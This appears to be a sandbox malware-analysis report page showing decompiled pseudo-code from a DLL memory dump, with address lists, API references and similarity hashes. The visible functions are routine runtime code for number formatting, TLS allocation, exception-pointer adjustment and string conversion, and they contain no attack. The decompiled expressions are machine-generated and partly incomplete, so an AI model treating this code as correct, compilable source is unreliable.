													 *((char*)(_t260 - 1)) = ( <  ? 0x30 : 0x57) + _t122;
													_t260 = _t260 - 1;
												} while (__eflags > 0);
												goto L65;
											} else {
												__eflags = _t228 & 0x00000020;
												if((_t228 & 0x00000020) != 0) {
													_t237 =  *_t120;
													_t276 = 0;
													__eflags = 0;
													_t264 =  &_v40;
													_t289 = 0x30;
													_t182 = _t237;
													asm("o16 nop [cs:eax+eax]");
													do {
														_t182 = _t182 >> 4;
														_t208 = _t237 & 0x0000000f;
														__eflags = _t208 - 0xa;
														_t144 =  <  ? 0x30 : 0x37;
														_t276 = _t276 + 1;
														_t145 = ( <  ? 0x30 : 0x37) + _t208;
														__eflags = _t237 - 0xf;
														_t237 = _t182;
														 *((char*)(_t264 - 1)) = ( <  ? 0x30 : 0x37) + _t208;
														_t264 = _t264 - 1;
													} while (__eflags > 0);
													L65:
													_t124 = 0x80 - _t272;
													__eflags = 0x80 - 0x81;
													if(0x80 >= 0x81) {
														_t197 = _t124;
														E6E7C6D40(_t178, _t197, 0x80, _t260, _t272, 0x80 - 0x81, 0x6e7eb60c);
														_t307 = _t306 + 4;
														asm("ud2");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_t290 = _t307;
														_t308 = _t307 - 0x5c;
														_v200 = _t308;
														_v188 = 0xffffffff;
														_v192 = E6E7B3C10;
														_t273 = _t197;
														_v196 =  *[fs:0x0];
														 *[fs:0x0] =  &_v196;
														__imp__AcquireSRWLockExclusive(0x6e7fadb4, _t272, _t260, _t178, _t289);
														_v204 = 0x6e7fadb4;
														_t261 =  *_t273;
														__eflags = _t261;
														if(_t261 != 0) {
															L83:
															__imp__ReleaseSRWLockExclusive(_v36);
															 *[fs:0x0] = _v28;
															return _t261;
														} else {
															_t82 =  &(_t273[1]); // 0x6e7b3100
															_t180 =  *_t82;
															_t129 = TlsAlloc();
															__eflags = _t129 - 0xffffffff;
															if(__eflags == 0) {
																_v20 = 0;
																E6E7C6E20(_t180, "assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi", 0x2e, _t261, _t273, __eflags, 0x6e7ede0c);
																_t308 = _t308 + 4;
																asm("ud2");
																goto L85;
															} else {
																_t261 = _t129;
																__eflags = _t180;
																if(_t180 == 0) {
																	L82:
																	__eflags = _t261;
																	 *_t273 = _t261;
																	if(__eflags == 0) {
																		L85:
																		_v108 = 0x6e7ed74c;
																		_v104 = 1;
																		_v100 = 0;
																		_v92 = 0x6e7ecd60;
																		_v84 = 0x6e7ed5a4;
																		_v80 = 2;
																		_v40 = 0;
																		_v44 = 0;
																		_v88 = 0;
																		_v76 = 0;
																		_v20 = 0;
																		_v60 =  &_v108;
																		_v56 = E6E7A22E0;
																		_v68 =  &_v60;
																		_v64 = 1;
																		_v52 = E6E7AD2A0( &_v44, __eflags);
																		_v48 =  &_v84;
																		E6E7AD460( &_v52);
																		asm("int 0x29");
																		asm("ud2");
																		goto L86;
																	} else {
																		goto L83;
																	}
																} else {
																	_t139 =  *0x6e7fadc8; // 0x680000
																	__eflags = _t139;
																	if(_t139 != 0) {
																		L79:
																		_t140 = HeapAlloc(_t139, 0, 0xc);
																		__eflags = _t140;
																		if(__eflags == 0) {
																			goto L86;
																		} else {
																			 *_t140 = _t180;
																			 *(_t140 + 4) = _t261;
																			 *(_t140 + 8) = 0;
																			_t205 = _t140;
																			_t141 =  *0x6e7fadcc; // 0x0
																			do {
																				 *((intOrPtr*)(_t205 + 8)) = _t141;
																				asm("lock cmpxchg [0x6e7fadcc], ecx");
																			} while (__eflags != 0);
																			goto L82;
																		}
																	} else {
																		_t139 = GetProcessHeap();
																		__eflags = _t139;
																		if(__eflags == 0) {
																			L86:
																			_t135 = E6E7C6C30(_t180, 0xc, 4, _t261, _t273, __eflags);
																			asm("ud2");
																			_push(_t290);
																			__eflags =  &_a8;
																			return E6E7AC870(_t135,  &_v36);
																		} else {
																			 *0x6e7fadc8 = _t139;
																			goto L79;
																		}
																	}
																}
															}
														}
													} else {
														_t206 = _v16;
														_t236 = 0x6e7ecc17;
														_push(_t272);
														_push(_t260);
														_push(2);
														goto L71;
													}
												} else {
													_t277 =  *_t120;
													_t146 = 0x27;
													__eflags = _t277 - 0x2710;
													if(_t277 < 0x2710) {
														_t238 = _t277;
														__eflags = _t238 - 0x63;
														if(_t238 > 0x63) {
															goto L57;
														} else {
															goto L58;
														}
														goto L87;
													} else {
														_t183 = 0x27;
														do {
															_t238 = _t277 * 0xd1b71759 >> 0x20 >> 0xd;
															_t215 = _t277 - _t238 * 0x2710;
															_t296 = ((_t215 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
															_t50 = _t183 - 4; // 0x23
															_t146 = _t50;
															__eflags = _t277 - 0x5f5e0ff;
															_t277 = _t238;
															 *((short*)(_t306 + _t183 - 4)) =  *(_t296 +  &_a1853797916) & 0x0000ffff;
															 *((short*)(_t306 + _t183 - 2)) =  *((_t215 - _t296 * 0x00000064 & 0x0000ffff) + (_t215 - _t296 * 0x00000064 & 0x0000ffff) + 0x6e7eb61c) & 0x0000ffff;
															_t183 = _t146;
														} while (__eflags > 0);
														__eflags = _t238 - 0x63;
														if(_t238 > 0x63) {
															L57:
															_t212 = ((_t238 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
															 *((short*)(_t306 + _t146 - 2)) =  *((_t238 - _t212 * 0x00000064 & 0x0000ffff) + (_t238 - _t212 * 0x00000064 & 0x0000ffff) + 0x6e7eb61c) & 0x0000ffff;
															_t146 = _t146 + 0xfffffffe;
															__eflags = _t146;
															_t238 = _t212;
														}
													}
													L58:
													__eflags = _t238 - 0xa;
													if(_t238 >= 0xa) {
														 *((short*)(_t306 + _t146 - 2)) =  *(_t238 + _t238 + 0x6e7eb61c) & 0x0000ffff;
														_t147 = _t146 + 0xfffffffe;
														__eflags = _t147;
													} else {
														 *((char*)(_t306 + _t146 - 1)) = _t238 + 0x30;
														_t147 = _t146 - 1;
													}
													_t206 = _v16;
													_t236 = 0x6e7ecd60;
													__eflags = 0x27;
													_push(0x27 - _t147);
													_push(_t306 + _t147);
													_push(0);
													L71:
													return E6E7A1AA0(_t206, _t236);
												}
											}
										} else {
											return  *((intOrPtr*)(_t193 + 4));
										}
									} else {
										if(_t288 == 0) {
											_t245 = 0;
											__eflags = 0;
										} else {
											_t247 = 0;
											do {
												_t161 =  *_t271 & 0x0000ffff;
												_t221 = 1;
												if(_t161 >= 0x80) {
													_t221 = 2;
													_t247 = _t245;
													if((_t161 & 0x0000ffff) > 0x7ff) {
														_t221 = (0 | (_t161 + 0x00002312 & 0x0000ffff) - 0x00000312 >= 0x00000000) + (0 | (_t161 + 0x00002312 & 0x0000ffff) - 0x00000312 >= 0x00000000) + 1;
													}
												}
												_t245 = _t247 + _t221;
												_t271 = _t271 + 2;
											} while ( &_v2 != 0);
										}
										goto L43;
									}
								}
							}
						}
					}
				}
				L87:
			}

0x6e7b2621
0x6e7b2622
0x6e7b2623
0x6e7b2629
0x6e7b262e
0x6e7b2635
0x6e7b263c
0x6e7b2640
0x6e7b2644
0x6e7b2650
0x6e7b2655
0x6e7b2658
0x6e7b265e
0x6e7b2663
0x6e7b2665
0x6e7b266b
0x6e7b2680
0x6e7b2680
0x6e7b2682
0x6e7b2790
0x6e7b2790
0x6e7b2796
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7b2688
0x6e7b2688
0x6e7b268b
0x6e7b268b
0x6e7b268e
0x6e7b2691
0x6e7b2693
0x6e7b26a9
0x6e7b26ac
0x6e7b26ae
0x6e7b26ec
0x6e7b26ee
0x6e7b26f0
0x6e7b26f3
0x6e7b26f6
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7b26b0
0x6e7b26b4
0x6e7b26b7
0x6e7b26ba
0x6e7b26bd
0x6e7b26c0
0x6e7b26f8
0x6e7b26f8
0x00000000
0x6e7b26c2
0x6e7b26c2
0x6e7b26c2
0x6e7b26c5
0x6e7b26c7
0x6e7b26fd
0x6e7b2704
0x6e7b2706
0x6e7b2709
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7b26c9
0x6e7b26cd
0x6e7b26d4
0x6e7b26d6
0x6e7b26d9
0x6e7b270b
0x6e7b270b
0x6e7b270b
0x6e7b270e
0x6e7b270e
0x6e7b2711
0x6e7b2713
0x00000000
0x6e7b26db
0x6e7b26db
0x6e7b26db
0x6e7b26de
0x6e7b26e0
0x6e7b2719
0x6e7b2719
0x6e7b271b
0x6e7b26e2
0x6e7b26e6
0x6e7b26e7
0x6e7b26e7
0x6e7b2723
0x6e7b272c
0x6e7b272e
0x6e7b2731
0x6e7b2736
0x6e7b2738
0x00000000
0x6e7b273a
0x6e7b273a
0x6e7b273a
0x6e7b2740
0x00000000
0x6e7b2746
0x6e7b2746
0x6e7b2763
0x6e7b2765
0x6e7b2767
0x6e7b276a
0x6e7b276c
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7b276c
0x6e7b2740
0x6e7b2738
0x6e7b26d9
0x6e7b26c7
0x6e7b26c0
0x6e7b2695
0x6e7b2695
0x6e7b2698
0x6e7b269a
0x6e7b269c
0x6e7b269e
0x00000000
0x6e7b26a4
0x00000000
0x6e7b26a4
0x6e7b269e
0x6e7b2693
0x6e7b2670
0x6e7b2670
0x6e7b2670
0x6e7b2674
0x6e7b2770
0x6e7b2770
0x6e7b2775
0x6e7b2776
0x6e7b2779
0x6e7b277b
0x6e7b277e
0x00000000
0x6e7b2784
0x00000000
0x6e7b2784
0x6e7b267a
0x6e7b2789
0x6e7b2789
0x6e7b279c
0x6e7b279c
0x6e7b27a0
0x6e7b27b9
0x6e7b2875
0x6e7b287b
0x6e7b287f
0x6e7b2882
0x6e7b2889
0x00000000
0x6e7b27bf
0x6e7b27bf
0x6e7b27c3
0x6e7b27ca
0x6e7b27cc
0x6e7b2893
0x6e7b2893
0x6e7b2897
0x6e7b289a
0x6e7b28a0
0x6e7b28aa
0x6e7b27d2
0x6e7b27d2
0x6e7b28b4
0x6e7b28b9
0x6e7b28bc
0x6e7b28be
0x6e7b28be
0x6e7b28c0
0x6e7b28c5
0x00000000
0x6e7b27d8
0x6e7b27ea
0x6e7b27ec
0x6e7b27f0
0x6e7b27f1
0x6e7b280b
0x6e7b280d
0x6e7b280d
0x6e7b280b
0x6e7b2815
0x6e7b28cc
0x6e7b28ce
0x6e7b28d0
0x6e7b28d5
0x6e7b28d5
0x6e7b28da
0x6e7b28dd
0x6e7b28df
0x6e7b28e0
0x6e7b28e3
0x6e7b28e6
0x6e7b28f2
0x6e7b2903
0x6e7b2913
0x6e7b291b
0x6e7b291d
0x6e7b291e
0x6e7b291f
0x6e7b2920
0x6e7b2921
0x6e7b2922
0x6e7b2923
0x6e7b2924
0x6e7b2938
0x6e7b293a
0x6e7b293c
0x6e7b293f
0x6e7b2a05
0x6e7b2a07
0x6e7b2a09
0x6e7b2a10
0x6e7b2a15
0x6e7b2a17
0x6e7b2a20
0x6e7b2a22
0x6e7b2a2a
0x6e7b2a2c
0x6e7b2a2e
0x6e7b2a31
0x6e7b2a32
0x6e7b2a34
0x6e7b2a37
0x6e7b2a39
0x6e7b2a3c
0x6e7b2a3c
0x00000000
0x6e7b2945
0x6e7b2945
0x6e7b2948
0x6e7b2a43
0x6e7b2a45
0x6e7b2a45
0x6e7b2a47
0x6e7b2a4e
0x6e7b2a53
0x6e7b2a55
0x6e7b2a60
0x6e7b2a62
0x6e7b2a6a
0x6e7b2a6d
0x6e7b2a70
0x6e7b2a73
0x6e7b2a74
0x6e7b2a76
0x6e7b2a79
0x6e7b2a7b
0x6e7b2a7e
0x6e7b2a7e
0x6e7b2a83
0x6e7b2a88
0x6e7b2a8a
0x6e7b2a8f
0x6e7b2af0
0x6e7b2afc
0x6e7b2b01
0x6e7b2b04
0x6e7b2b06
0x6e7b2b07
0x6e7b2b08
0x6e7b2b09
0x6e7b2b0a
0x6e7b2b0b
0x6e7b2b0c
0x6e7b2b0d
0x6e7b2b0e
0x6e7b2b0f
0x6e7b2b11
0x6e7b2b16
0x6e7b2b19
0x6e7b2b1c
0x6e7b2b23
0x6e7b2b2a
0x6e7b2b36
0x6e7b2b39
0x6e7b2b44
0x6e7b2b4a
0x6e7b2b51
0x6e7b2b53
0x6e7b2b55
0x6e7b2bc5
0x6e7b2bc8
0x6e7b2bd1
0x6e7b2be0
0x6e7b2b57
0x6e7b2b57
0x6e7b2b57
0x6e7b2b5a
0x6e7b2b60
0x6e7b2b63
0x6e7b2be1
0x6e7b2bf7
0x6e7b2bfc
0x6e7b2bff
0x00000000
0x6e7b2b65
0x6e7b2b65
0x6e7b2b67
0x6e7b2b69
0x6e7b2bbd
0x6e7b2bbf
0x6e7b2bc1
0x6e7b2bc3
0x6e7b2c01
0x6e7b2c0a
0x6e7b2c11
0x6e7b2c18
0x6e7b2c1f
0x6e7b2c26
0x6e7b2c2d
0x6e7b2c34
0x6e7b2c38
0x6e7b2c3f
0x6e7b2c46
0x6e7b2c4d
0x6e7b2c54
0x6e7b2c5a
0x6e7b2c61
0x6e7b2c64
0x6e7b2c73
0x6e7b2c76
0x6e7b2c79
0x6e7b2c83
0x6e7b2c85
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7b2b6b
0x6e7b2b6b
0x6e7b2b70
0x6e7b2b72
0x6e7b2b86
0x6e7b2b8b
0x6e7b2b90
0x6e7b2b92
0x00000000
0x6e7b2b98
0x6e7b2b98
0x6e7b2b9a
0x6e7b2b9d
0x6e7b2ba4
0x6e7b2ba6
0x6e7b2bb0
0x6e7b2bb0
0x6e7b2bb3
0x6e7b2bb3
0x00000000
0x6e7b2bb0
0x6e7b2b74
0x6e7b2b74
0x6e7b2b79
0x6e7b2b7b
0x6e7b2c87
0x6e7b2c91
0x6e7b2c96
0x6e7b2ca0
0x6e7b2ca4
0x6e7b2cb3
0x6e7b2b81
0x6e7b2b81
0x00000000
0x6e7b2b81
0x6e7b2b7b
0x6e7b2b72
0x6e7b2b69
0x6e7b2b63
0x6e7b2a91
0x6e7b2a91
0x6e7b2a98
0x6e7b2a9d
0x6e7b2a9e
0x6e7b2a9f
0x00000000
0x6e7b2a9f
0x6e7b294e
0x6e7b294e
0x6e7b2950
0x6e7b2955
0x6e7b295b
0x6e7b2aa3
0x6e7b2aa5
0x6e7b2aa8
0x00000000
0x6e7b2aae
0x00000000
0x6e7b2aae
0x00000000
0x6e7b2961
0x6e7b2961
0x6e7b2970
0x6e7b2976
0x6e7b297f
0x6e7b298d
0x6e7b299d
0x6e7b299d
0x6e7b29a0
0x6e7b29a6
0x6e7b29b3
0x6e7b29b8
0x6e7b29bd
0x6e7b29bd
0x6e7b29c1
0x6e7b29c4
0x6e7b29c6
0x6e7b29d2
0x6e7b29e5
0x6e7b29ea
0x6e7b29ea
0x6e7b29ed
0x6e7b29ed
0x6e7b29c4
0x6e7b29ef
0x6e7b29ef
0x6e7b29f2
0x6e7b2abb
0x6e7b2ac0
0x6e7b2ac0
0x6e7b29f8
0x6e7b29fb
0x6e7b29ff
0x6e7b29ff
0x6e7b2ac3
0x6e7b2acf
0x6e7b2ad7
0x6e7b2ad9
0x6e7b2ada
0x6e7b2adb
0x6e7b2add
0x6e7b2aef
0x6e7b2aef
0x6e7b2948
0x6e7b28e8
0x6e7b28f1
0x6e7b28f1
0x6e7b281b
0x6e7b281d
0x6e7b2891
0x6e7b2891
0x6e7b281f
0x6e7b2821
0x6e7b283a
0x6e7b283a
0x6e7b283d
0x6e7b2847
0x6e7b284e
0x6e7b2859
0x6e7b285b
0x6e7b286f
0x6e7b286f
0x6e7b285b
0x6e7b2830
0x6e7b2832
0x6e7b2835
0x6e7b283a
0x00000000
0x6e7b281d
0x6e7b2815
0x6e7b27d2
0x6e7b27cc
0x6e7b27b9
0x6e7b2674
0x00000000

APIs

WriteConsoleW.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 6E7B27B1
WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 6E7B2803
GetLastError.KERNEL32(?,?,?), ref: 6E7B280D
GetLastError.KERNEL32(?,?,?), ref: 6E7B2875

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorLastWrite
String ID:
API String ID: 4006445483-0
Opcode ID: 3a7f648accc22c44d9dc2ccb87cf6e3fdf18ea41bc0cc29812f2e3ab9076cb81
Instruction ID: 080540a1227b9e122aeb626009d1ebb46f8ee685dcc65b9f5c104103d259770e
Opcode Fuzzy Hash: 3a7f648accc22c44d9dc2ccb87cf6e3fdf18ea41bc0cc29812f2e3ab9076cb81
Instruction Fuzzy Hash: 0661D931B1A3968FF3108ED9CD4436A73E6EFC5304F048939E894873B8E670D8418B92

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BCDDF, Relevance: 6.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E7BCDDF(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x6e7f7f40);
				E6E7BAC90(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E6E7BAE10(_t107, E6E7BCB9D(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E6E7BAE10(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x6e7fb184; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x6e7c8154();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E6E7BF563(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x6e7f7f60);
									E6E7BAC90(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E6E7BCDDF(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E6E7BDADF(_t103, _t108[0x18], E6E7BCB9D( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E6E7BDAEF(_t103, _t108[0x18], E6E7BCB9D( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E6E7BCB9D();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x6e7bcddf
0x6e7bcde1
0x6e7bcde6
0x6e7bcdeb
0x6e7bcded
0x6e7bcdf0
0x6e7bcdf5
0x6e7bcf05
0x6e7bcf05
0x6e7bcf05
0x00000000
0x6e7bce04
0x6e7bce04
0x6e7bce09
0x6e7bce13
0x6e7bce15
0x6e7bce1a
0x6e7bce1f
0x6e7bce1f
0x6e7bce21
0x6e7bce24
0x6e7bce29
0x6e7bce4b
0x6e7bce4b
0x6e7bce4e
0x6e7bce51
0x6e7bce6f
0x6e7bce72
0x6e7bceb1
0x6e7bceb4
0x6e7bceb7
0x6e7bcedc
0x6e7bcede
0x00000000
0x6e7bcee0
0x6e7bcee0
0x6e7bcee2
0x00000000
0x6e7bcee4
0x6e7bcee4
0x6e7bcee9
0x6e7bceed
0x6e7bceed
0x6e7bceee
0x00000000
0x6e7bceee
0x6e7bcee2
0x6e7bceb9
0x6e7bceb9
0x6e7bcebb
0x00000000
0x6e7bcebd
0x6e7bcebd
0x6e7bcebf
0x00000000
0x6e7bcec1
0x6e7bced2
0x00000000
0x6e7bced7
0x6e7bcebf
0x6e7bcebb
0x6e7bce74
0x6e7bce74
0x6e7bce78
0x00000000
0x6e7bce7e
0x6e7bce7e
0x6e7bce80
0x00000000
0x6e7bce86
0x6e7bce8d
0x6e7bce95
0x6e7bce99
0x6e7bce9b
0x6e7bce9e
0x6e7bcea3
0x6e7bcea4
0x00000000
0x6e7bcea4
0x6e7bce9e
0x00000000
0x6e7bce99
0x6e7bce80
0x6e7bce78
0x6e7bce53
0x6e7bce53
0x00000000
0x6e7bce53
0x6e7bce30
0x6e7bce30
0x6e7bce35
0x6e7bce3a
0x00000000
0x6e7bce3c
0x6e7bce3e
0x6e7bce47
0x6e7bce56
0x6e7bce58
0x6e7bcf17
0x6e7bcf17
0x6e7bcf1c
0x6e7bcf1d
0x6e7bcf1f
0x6e7bcf24
0x6e7bcf29
0x6e7bcf2c
0x6e7bcf2f
0x6e7bcf32
0x6e7bcf3b
0x6e7bcf3b
0x6e7bcf34
0x6e7bcf34
0x6e7bcf34
0x6e7bcf3e
0x6e7bcf42
0x6e7bcf45
0x6e7bcf46
0x6e7bcf47
0x6e7bcf48
0x6e7bcf4b
0x6e7bcf54
0x6e7bcf54
0x6e7bcf57
0x6e7bcf8d
0x6e7bcf59
0x6e7bcf59
0x6e7bcf59
0x6e7bcf5c
0x6e7bcf73
0x6e7bcf73
0x6e7bcf5c
0x6e7bcf92
0x6e7bcf9c
0x6e7bcfa8
0x6e7bce66
0x6e7bce66
0x6e7bce6b
0x6e7bce6c
0x6e7bcea6
0x6e7bcead
0x6e7bcef1
0x6e7bcef1
0x6e7bcef8
0x6e7bcf07
0x6e7bcf0a
0x6e7bcf16
0x6e7bcf16
0x6e7bce58
0x6e7bce3a
0x00000000
0x00000000
0x00000000
0x6e7bce09

APIs

___AdjustPointer.LIBCMT ref: 6E7BCEA6
___AdjustPointer.LIBCMT ref: 6E7BCEC9
___AdjustPointer.LIBCMT ref: 6E7BCF65

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e41f000893805a0a1d0e945d130508021fbed83182a13647a403fd729285d59e
Instruction ID: 1db59784d7c1df1d7e8d6214bd3d5b896889235937c454b702f5fca4b833c2d8
Opcode Fuzzy Hash: e41f000893805a0a1d0e945d130508021fbed83182a13647a403fd729285d59e
Instruction Fuzzy Hash: 6D51FE72605607EFEB158F95CA54BAA73A8EF00706F1084BEE9159F2B0E731EC51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C06C7, Relevance: 6.1, APIs: 4, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7C06C7(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t30;
				char _t32;
				intOrPtr _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = _a4;
				if(_t42 != 0) {
					_t32 = 0;
					__eflags =  *_t42;
					if( *_t42 != 0) {
						_t17 = E6E7C19B3(_a16, 0, _t42, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t17;
						if(_t17 != 0) {
							_t40 = _a8;
							__eflags = _t17 -  *((intOrPtr*)(_t40 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t18 = E6E7C0D08(_a16, _t42,  *((intOrPtr*)(_t40 + 8)),  *((intOrPtr*)(_t40 + 0xc)));
								__eflags = _t18;
								if(_t18 != 0) {
									 *((intOrPtr*)(_t40 + 0x10)) = _t18 - 1;
									_t20 = 0;
									__eflags = 0;
								} else {
									E6E7BF8B5(GetLastError());
									_t20 =  *((intOrPtr*)(E6E7BF90F()));
								}
								L14:
								return _t20;
							}
							_t20 = E6E7C0D85(_t40, __eflags, _t17);
							__eflags = _t20;
							if(_t20 != 0) {
								goto L14;
							}
							goto L11;
						}
						E6E7BF8B5(GetLastError());
						return  *((intOrPtr*)(E6E7BF90F()));
					}
					_t43 = _a8;
					__eflags =  *((intOrPtr*)(_t43 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t43 + 8)))) = _t32;
						L2:
						 *((intOrPtr*)(_t43 + 0x10)) = _t32;
						return 0;
					}
					_t30 = E6E7C0D85(_t43, __eflags, 1);
					__eflags = _t30;
					if(_t30 != 0) {
						return _t30;
					}
					goto L6;
				}
				_t43 = _a8;
				E6E7C0D6B(_t43);
				_t32 = 0;
				 *((intOrPtr*)(_t43 + 8)) = 0;
				 *((intOrPtr*)(_t43 + 0xc)) = 0;
				goto L2;
			}

0x6e7c06ce
0x6e7c06d3
0x6e7c06f1
0x6e7c06f3
0x6e7c06f6
0x6e7c071f
0x6e7c0727
0x6e7c0729
0x6e7c0742
0x6e7c0745
0x6e7c0748
0x6e7c0756
0x6e7c0763
0x6e7c0768
0x6e7c076a
0x6e7c0783
0x6e7c0786
0x6e7c0786
0x6e7c076c
0x6e7c0773
0x6e7c077e
0x6e7c077e
0x6e7c0788
0x00000000
0x6e7c0788
0x6e7c074d
0x6e7c0752
0x6e7c0754
0x00000000
0x00000000
0x00000000
0x6e7c0754
0x6e7c0732
0x00000000
0x6e7c073d
0x6e7c06f8
0x6e7c06fb
0x6e7c06fe
0x6e7c070d
0x6e7c0710
0x6e7c06e7
0x6e7c06e7
0x00000000
0x6e7c06ea
0x6e7c0704
0x6e7c0709
0x6e7c070b
0x6e7c078c
0x6e7c078c
0x00000000
0x6e7c070b
0x6e7c06d5
0x6e7c06da
0x6e7c06df
0x6e7c06e1
0x6e7c06e4
0x00000000

APIs

Part of subcall function 6E7C19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E7C3B22,?,00000000,-00000008), ref: 6E7C1A5F

